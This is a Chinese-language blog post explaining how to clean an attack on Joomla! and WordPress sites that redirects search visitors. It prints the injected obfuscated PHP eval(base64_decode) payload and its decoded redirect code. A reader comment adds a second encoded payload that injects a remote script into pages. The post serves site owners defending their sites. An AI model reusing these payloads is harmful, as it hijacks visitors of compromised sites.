
最近應該很多 Joomla! 與 Wordpress 的網站發生一件奇怪的事情,直接鍵入網址可以正常瀏覽,可是一旦使用google搜尋並點擊搜尋結果,就會被導向至這個網站 p3p0.com 。雖然不影響平時網站的瀏覽,但總是很麻煩,搜尋流量會瞬間銳減,排名評比也可能被降低。
Joomla!123 同樣也遭到入侵了,剛剛已經完成修復。現在來回報一下修複方法,讓其他受害者也可以自行解決。Wordpress同樣適用。
目前已知不只 Joomla! 與 Wordpress ,許多CMS似乎都遭到入侵,詳細原因不明。
入侵原理
首先,網站之所以會被重新導向,是因為原始碼中被暗藏了一個 eval() 函式執行駭客自定義的程式碼,一旦來自搜尋引擎就直接導向。
這段程式碼是由 eval(base64_decode(" 開頭。完整代碼如下(在文件中只有一行):
eval(base64_decode("aWYgKHN0cmlzdHIoJF9TRVJWRVJbSFRUUF9SRUZFUkVSXSwiZ29vZ2xlIikpIHsNCglpZiAoIXN0 cmlzdHIoJF9TRVJWRVJbSFRUUF9SRUZFUkVSXSwiLm51IikgYW5kICFzdHJpc3RyKCRfU0VSVkVSW0hUVFBfUkVGRVJFUl0s InNpdGUiKSBhbmQgIXN0cmlzdHIoJF9TRVJWRVJbSFRUUF9SRUZFUkVSXSwiaW51cmwiKSl7DQoJCXByZWdfbWF0Y2ggKCIv cVw9KC4qKS8iLCRfU0VSVkVSW0hUVFBfUkVGRVJFUl0sJGtrKTsNCgkJaWYgKHN0cmlzdHIoJGtrWzFdLCImIikpIHsNCgkJ CXByZWdfbWF0Y2ggKCIvKC4qPylcJi8iLCRra1sxXSwka2V5Mik7DQoJCQkka2V5d29yZD11cmxkZWNvZGUoJGtleTJbMV0p Ow0KCQl9ZWxzZSB7DQoJCQkka2V5d29yZD11cmxkZWNvZGUoJGtrWzFdKTsNCgkJfQ0KCQloZWFkZXIoIkxvY2F0aW9uOiBo dHRwOi8vbmV3d2F2ZS5vcmdlLnBsLz9xPSIuJGtleXdvcmQpOw0KCQlleGl0KCk7DQoJfQ0KDQp9ZWxzZWlmIChzdHJpc3Ry KCRfU0VSVkVSW0hUVFBfUkVGRVJFUl0sInlhaG9vIikpIHsNCnByZWdfbWF0Y2ggKCIvcFw9KC4qPykmLyIsJF9TRVJWRVJb SFRUUF9SRUZFUkVSXSwka2spOw0KCQloZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vbmV3d2F2ZS5vcmdlLnBsLz9xPSIuJGtr WzFdKTsNCgkJZXhpdCgpOw0KfWVsc2VpZiAoc3RyaXN0cigkX1NFUlZFUltIVFRQX1JFRkVSRVJdLCJiaW5nIikpIHsNCnBy ZWdfbWF0Y2ggKCIvcVw9KC4qPykmLyIsJF9TRVJWRVJbSFRUUF9SRUZFUkVSXSwka2spOw0KCQloZWFkZXIoIkxvY2F0aW9u OiBodHRwOi8vbmV3d2F2ZS5vcmdlLnBsLz9xPSIuJGtrWzFdKTsNCgkJZXhpdCgpOw0KfQ=="));
eval() 的功能是將一段字串當做程式碼執行,而這個被 base64 編碼的字串為:
if (stristr($_SERVER[HTTP_REFERER],"google")) { if (!stristr($_SERVER[HTTP_REFERER],".nu") and !stristr($_SERVER[HTTP_REFERER],"site") and !stristr($_SERVER[HTTP_REFERER],"inurl")) { preg_match ("/q\=(.*)/",$_SERVER[HTTP_REFERER],$kk); if (stristr($kk[1],"&")) { preg_match ("/(.*?)\&/",$kk[1],$key2); $keyword=urldecode($key2[1]); }else { $keyword=urldecode($kk[1]); } header("Location: http://newwave.orge.pl/?q=".$keyword); exit(); } }elseif (stristr($_SERVER[HTTP_REFERER],"yahoo")) { preg_match ("/p\=(.*?)&/",$_SERVER[HTTP_REFERER],$kk); header("Location: http://newwave.orge.pl/?q=".$kk[1]); exit(); }elseif (stristr($_SERVER[HTTP_REFERER],"bing")) { preg_match ("/q\=(.*?)&/",$_SERVER[HTTP_REFERER],$kk); header("Location: http://newwave.orge.pl/?q=".$kk[1]); exit(); }
就是這段程式碼將網站重新導向的。目前還沒有人知道這個入侵方法是如何運作的,或是鑽了哪項漏洞,畢竟能廣泛攻擊多種CMS實在不容易,也有可能其實是主機方面的漏洞。總而言之一旦被重新導向,就是這段程式碼在作怪。
修複方式
這邊先以 Joomla! 為主,通常會有三個文件遭到更改,分別為:
- index.php
- configuration.php
- liberies / define.php
請打開您網站的這三個文件來修改,就在文件的第一行。

以這張來說,別看到什麼都沒有就很開心的關掉了,以為什麼事都沒發生。魔鬼就在下方的捲動條。

我們把文件向右捲,就會發現被更改的代碼在這兒。現在讓我們把它刪除吧。
如果沒有任何失誤的話,你的網站應該復原了,下一步動作,請立即下載最新版Joomla!更新您的網站。並儘可能將外掛元件等等更新的最安全的版本。
Wordpress 呢?
好啦,我跟其他CMS不熟,但還是可以解決的。
你必須先有一個能夠做檔案批次全文搜尋的文字編輯器,推薦用 pspad 。將你的網站整個下載回電腦中,用編輯器搜尋整個資料夾。
用 eval(base64_decode 或 eval (base64_decode 來當做關鍵字搜尋看看。如果找不到,就直接搜尋 eval ,然後將結果一個檔案一個檔案的檢查看看。
(同樣的,Joomla!依照上面的方法修復後問題還沒解決的話,也可以用搜尋的)
將搜尋到的可疑代碼刪除掉,放回網站上吧。然後記得更新至最新版。
後記
在這邊發出來也是為了協助其他被攻擊者修復網站。因為關於這次攻擊的中文資料確實不多,事實上中文網站似乎很少被攻擊的樣子。
問題解決是一回事,層出不窮的攻擊手法就真的很惱人。Joomla!123光今年已經遭到3次以上的攻擊了,還有幾次是因為主機商的漏洞。
希望相關的網路安全高手或者CMS的開發社群能夠儘快找到並解決這個問題吧。
建立0rz短址


文章回應
經過努力後終於找到被修改好多地方
被修改的檔案超過100個以上大部分集中在administrator資料夾內
被植入程式碼
eval(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21yX25vJ10pKXsgICAkR0xPQkFMU1snbXJfbm8nXT0xOyAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2dtbCcpKXsgICAgIGZ1bmN0aW9uIGdtbCgpeyAgICAgIGlmICghc3RyaXN0cigkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0sImdvb2dsZWJvdCIpJiYgKCFzdHJpc3RyKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSwieWFob28iKSkpeyAgICAgICByZXR1cm4gYmFzZTY0X2RlY29kZSgiUEhOamNtbHdkQ0J6Y21NOUltaDBkSEE2THk5dFpYRmhjMmh2Y0hCbGNtOXViR2x1WlM1amIyMHZiVzB1Y0dod0lqNDhMM05qY21sd2REND0iKTsgICAgICB9ICAgICAgcmV0dXJuICIiOyAgICAgfSAgICB9ICAgICAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZScpKXsgICAgIGZ1bmN0aW9uIGd6ZGVjb2RlKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMpeyAgICAgICRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQ9QG9yZChAc3Vic3RyKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsMywxKSk7ICAgICAgJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOT0xMDsgICAgICAkUkEzRDUyRTUyQTQ4OTM2Q0RFMEY1MzU2QkIwODY1MkYyPTA7ICAgICAgaWYoJFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RCY0KXsgICAgICAgJFI2M0JFREU2QjE5MjY2RDRFRkVBRDA3QTREOTFFMjlFQj1AdW5wYWNrKCd2JyxzdWJzdHIoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QywxMCwyKSk7ICAgICAgICRSNjNCRURFNkIxOTI2NkQ0RUZFQUQwN0E0RDkxRTI5RUI9JFI2M0JFREU2QjE5MjY2RDRFRkVBRDA3QTREOTFFMjlFQlsxXTsgICAgICAgJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOSs9MiskUjYzQkVERTZCMTkyNjZENEVGRUFEMDdBNEQ5MUUyOUVCOyAgICAgIH0gICAgICBpZigkUjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEJjgpeyAgICAgICAkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5PUBzdHJwb3MoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QyxjaHIoMCksJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOSkrMTsgICAgICB9ICAgICAgaWYoJFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RCYxNil7ICAgICAgICRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDk9QHN0cnBvcygkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDLGNocigwKSwkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5KSsxOyAgICAgIH0gICAgICBpZigkUjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEJjIpeyAgICAgICAkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5Kz0yOyAgICAgIH0gICAgICAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzPUBnemluZmxhdGUoQHN1YnN0cigkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDLCRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkpKTsgICAgICBpZigkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzPT09RkFMU0UpeyAgICAgICAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzPSRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEM7ICAgICAgfSAgICAgIHJldHVybiAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzOyAgICAgfSAgICB9ICAgIGZ1bmN0aW9uIG1yb2JoKCRSRTgyRUU5QjEyMUY3MDk4OTVFRjU0RUJBN0ZBNkI3OEIpeyAgICAgSGVhZGVyKCdDb250ZW50LUVuY29kaW5nOiBub25lJyk7ICAgICAkUkExNzlBQkQzQTdCOUUyOEMzNjlGN0I1OUM1MUI4MURFPWd6ZGVjb2RlKCRSRTgyRUU5QjEyMUY3MDk4OTVFRjU0RUJBN0ZBNkI3OEIpOyAgICAgICBpZihwcmVnX21hdGNoKCcvXDxcL2JvZHkvc2knLCRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREUpKXsgICAgICByZXR1cm4gcHJlZ19yZXBsYWNlKCcvKFw8XC9ib2R5W15cPl0qXD4pL3NpJyxnbWwoKS4iXG4iLickMScsJFJBMTc5QUJEM0E3QjlFMjhDMzY5RjdCNTlDNTFCODFERSk7ICAgICB9ZWxzZXsgICAgICByZXR1cm4gJFJBMTc5QUJEM0E3QjlFMjhDMzY5RjdCNTlDNTFCODFERS5nbWwoKTsgICAgIH0gICAgfSAgICBvYl9zdGFydCgnbXJvYmgnKTsgICB9ICB9"));
目前正嘗試把網站所有檔案下載回來,把被植入代碼刪除掉,並且更新所有元件以及模組